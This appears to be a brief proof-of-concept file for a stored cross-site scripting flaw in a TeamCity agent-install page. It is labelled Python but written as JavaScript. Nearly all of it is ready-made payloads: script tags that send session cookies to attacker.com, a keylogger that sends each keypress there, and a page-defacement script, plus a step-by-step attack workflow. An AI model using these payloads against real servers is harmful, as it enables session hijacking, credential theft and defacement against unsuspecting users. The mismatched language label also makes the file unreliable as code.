The following code is for security research and authorized testing only.
python
// CVE-2025-68163 PoC - Stored XSS in JetBrains TeamCity agentpushInstall page
// This is a conceptual PoC for educational and security testing purposes only
// Step 1: Identify the vulnerable endpoint
// Target: https://<teamcity-server>/agentpushInstall
// Step 2: Inject malicious JavaScript payload
// The payload would be injected into input fields on the agentpushInstall page
const maliciousPayload = `<script>alert('XSS Vulnerability - CVE-2025-68163');document.location='https://attacker.com/steal?cookie='+document.cookie;</script>`;
// Step 3: Example attack scenarios
// 1. Session hijacking - steal session cookies
const stealCookies = `<script>fetch('https://attacker.com/log?c='+btoa(document.cookie));</script>`;
// 2. Keylogging - capture user keystrokes
const keylogger = `<script>document.onkeypress=function(e){fetch('https://attacker.com/klog?k='+e.key);}</script>`;
// 3. DOM manipulation - modify page content
const domManipulation = `<script>document.body.innerHTML='<h1>Site Under Maintenance</h1>';</script>`;
// Step 4: Attack workflow
// - Attacker with high privileges accesses agentpushInstall page
// - Injects malicious script into vulnerable input field
// - Script is stored on the server
// - When other users visit the page, the script executes in their browser
// - Attacker can steal session tokens, credentials, or perform actions on behalf of users
console.log('CVE-2025-68163 - Stored XSS in TeamCity agentpushInstall');
console.log('Payload:', maliciousPayload);